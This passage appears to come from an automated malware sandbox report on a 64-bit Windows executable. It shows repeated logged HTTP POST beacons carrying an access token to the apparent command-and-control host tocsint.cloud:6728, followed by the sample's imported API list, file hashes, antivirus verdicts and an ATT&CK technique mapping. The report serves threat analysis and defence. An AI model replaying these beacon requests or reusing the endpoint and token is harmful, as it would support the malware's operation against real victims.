AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:35 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:36 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:36 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:37 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:37 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:38 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:39 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:39 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:40 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:41 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: tocsint.cloud:6728" with payload::==> "access_token=bd153807-667a-4378-a460-26733a2eeea5&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Sun 12 Apr 2026 01:10:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......50:T704,RegOpenKeyExA RegCreateKeyExA OpenProcessToken RegCloseKey RegDeleteValueA GetDriveTypeA FindResourceA FindNextFileA Sleep GetTempFileNameA GetTempPathA CreateDirectoryA FindFirstFileA CreateFileA GetModuleHandleW GetSystemDirectoryA CreateThread GetSystemInfo LoadLibraryExA WriteFile TerminateProcess LockResource GetModuleFileNameA GetStartupInfoW GetTickCount UnhandledExceptionFilter CreateProcessA GetFileAttributesA GetVersionExA GetProcAddress DeleteFileA LoadLibraryA RegEnumKeyExW RegDeleteKeyW SetSecurityDescriptorDacl RegOpenKeyExW RegCreateKeyExW CreateProcessWithLogonW GetUserNameW RegDeleteValueW CreateProcessAsUserW IcmpSendEcho FindResourceExW VirtualAllocEx Process32FirstW GetCommandLineA WriteProcessMemory GetTempPathW GetFileAttributesW FindFirstFileW IsDebuggerPresent GetCommandLineW VirtualAlloc CopyFileExW DeviceIoControl CreateDirectoryW DeleteFileW VirtualProtect GetFileSizeEx CopyFileW Process32NextW GetModuleFileNameW CreateFileW GetFileSize CreateProcessW OutputDebugStringW LoadLibraryW GetDriveTypeW ExitThread FindFirstFileExW ReadProcessMemory FindNextFileW OpenProcess GetSystemDirectoryW GetVersionExW SleepConditionVariableSRW GetTempFileNameW LoadLibraryExW CreateToolhelp32Snapshot GetComputerNameW GetModuleHandleExW ShellExecuteExW ShellExecuteW FindWindowW SetKeyboardState GetClipboardData GetWindowThreadProcessId FindWindowExW GetCursorPos InternetQueryDataAvailable HttpQueryInfoW FtpOpenFileW InternetConnectW InternetOpenW FtpGetFileSize InternetQueryOptionW HttpSendRequestW InternetOpenUrlW InternetCloseHandle InternetReadFile InternetCrackUrlW closesocket recvfrom WSAStartup bind recv accept connect socket send listen sendto51:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEzEAAAAAAAAAAAAAAAADMzMzAAAAAAAAAAAAAAABMzO7MwAAAAAAAAAAA3cAMzO7uzMAAAAAAAAAAAeHMTO7u7MxAAAAAAAAAAB3hzM7u7szEAAAAAAAAAAAeIczO7uzMwAAAAAAAAAAAHiLM7u7szAAAAAAAAAAAAB4i7u7uzMQAAAAAAAAAAADeIi7uzMzEAAAAAAAAAAAB4iIu7MzdzAAAAADcwAAAAePiLszA3cwAAAAA3cwAAAHj/iLMQN3AAAAAAB4cwAAN4/4hzAHdwAAAAAAd4dwAziIiHMxN3cAAAAAAAd4h3d4iIczN3cwAAAAAAAAN4d3iIiDABdzAAAAAAAAAAB3d4iIgwAAAAAAAAAAAAAAAAeIiIMAAAAAAAAAAAAAAAAHj/iDAAAAAAAAAAAAAAAAAHj4hwAAAAAAAAAAAAAAAAB4j4cAAAAAAAAAAAAAAAAAB4+HAAAAAAAAAAAAAAAAAAePhwAAAAAAAAAAAAAAAAAAeHcAAAAAAAAAAAAAAAAAAAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790284400206,"unified_at":"2026-09-24T21:13:20.206Z","metadata":{"hashes":{"sha256":"8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c","sha1":"ac3545200f1ac6100d927bea6d7ac321ea5cbc25","md5":"7e15332c806e870b20009be7c536f339","sha512":"51e6072960d70e6e71eecc9cb24d0dd2704c48c74c85c7b73e2fe29fd28021e6282f40635090fd5c3c2be0ebd7abb60a547494c4dde3411b744c88b334850524","ssdeep":"24576:pjRdm3+k61iCwKbLJcOtzN4JFhrNGVfGaEHFLyyFbiEuJIDDbfpZ0l0HAC9B5Yi:pjKZsx54JFhBGVfGaExbJDfU+gC9BC","ssdeep_chunks":["24576:pjRdm3+","24576:jRdm3+k","24576:Rdm3+k6","24576:dm3+k61","24576:m3+k61i","24576:3+k61iC","24576:+k61iCw","24576:k61iCwK","24576:61iCwKb","24576:1iCwKbL","24576:iCwKbLJ","24576:CwKbLJc","24576:wKbLJcO","24576:KbLJcOt","24576:bLJcOtz","24576:LJcOtzN","24576:JcOtzN4","24576:cOtzN4J","24576:OtzN4JF","24576:tzN4JFh","24576:zN4JFhr","24576:N4JFhrN","24576:4JFhrNG","24576:JFhrNGV","24576:FhrNGVf","24576:hrNGVfG","24576:rNGVfGa","24576:NGVfGaE","24576:GVfGaEH","24576:VfGaEHF","24576:fGaEHFL","24576:GaEHFLy","24576:aEHFLyy","24576:EHFLyyF","24576:HFLyyFb","24576:FLyyFbi","24576:LyyFbiE","24576:yyFbiEu","24576:yFbiEuJ","24576:FbiEuJI","24576:biEuJID","24576:iEuJIDD","24576:EuJIDDb","24576:uJIDDbf","24576:JIDDbfp","24576:IDDbfpZ","24576:DDbfpZ0","24576:DbfpZ0l","24576:bfpZ0l0","24576:fpZ0l0H","24576:pZ0l0HA","24576:Z0l0HAC","24576:0l0HAC9","24576:l0HAC9B","24576:0HAC9B5","24576:HAC9B5Y","24576:AC9B5Yi","49152:pjRdm3+","49152:jRdm3+k","49152:Rdm3+k6","49152:dm3+k61","49152:m3+k61i","49152:3+k61iC","49152:+k61iCw","49152:k61iCwK","49152:61iCwKb","49152:1iCwKbL","49152:iCwKbLJ","49152:CwKbLJc","49152:wKbLJcO","49152:KbLJcOt","49152:bLJcOtz","49152:LJcOtzN","49152:JcOtzN4","49152:cOtzN4J","49152:OtzN4JF","49152:tzN4JFh","49152:zN4JFhr","49152:N4JFhrN","49152:4JFhrNG","49152:JFhrNGV","49152:FhrNGVf","49152:hrNGVfG","49152:rNGVfGa","49152:NGVfGaE","49152:GVfGaEH","49152:VfGaEHF","49152:fGaEHFL","49152:GaEHFLy","49152:aEHFLyy","49152:EHFLyyF","49152:HFLyyFb","49152:FLyyFbi","49152:LyyFbiE","49152:yyFbiEu","49152:yFbiEuJ","49152:FbiEuJI","49152:biEuJID","49152:iEuJIDD","49152:EuJIDDb","49152:uJIDDbf","49152:JIDDbfp","49152:IDDbfpZ","49152:DDbfpZ0","49152:DbfpZ0l","49152:bfpZ0l0","49152:fpZ0l0H","49152:pZ0l0HA","49152:Z0l0HAC","49152:0l0HAC9","49152:l0HAC9B","49152:0HAC9B5","49152:HAC9B5Y","49152:AC9B5Yi","24576:pjKZsx5","24576:jKZsx54","24576:KZsx54J","24576:Zsx54JF","24576:sx54JFh","24576:x54JFhB","24576:54JFhBG","24576:4JFhBGV","24576:JFhBGVf","24576:FhBGVfG","24576:hBGVfGa","24576:BGVfGaE","24576:GVfGaEx","24576:VfGaExb","24576:fGaExbJ","24576:GaExbJD","24576:aExbJDf","24576:ExbJDfU","24576:xbJDfU+","24576:bJDfU+g","24576:JDfU+gC","24576:DfU+gC9","24576:fU+gC9B","24576:U+gC9BC"],"imphash":"4cea7ae85c87ddc7295d39ff9cda31d1"},"file_info":{"file_name":"8267d77005e7daeb6da69c4bf60be0a184867a7ad06322187f8fdfc1cfccf17c.bin","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":1699840,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1775956072000,"last_seen":1775956088000,"last_multi_scan":1775956088000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["new_domain","malicious"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":84},"sandbox_signatures":{"informative_count":210,"suspicious_count":17,"malicious_count":8,"total":235},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-6","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/Packed.CAB.I suspicious application","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_100%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Tries to save executable or command in registry"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Contains ability to register hotkeys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69daf06d90f26137e90101f1"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent 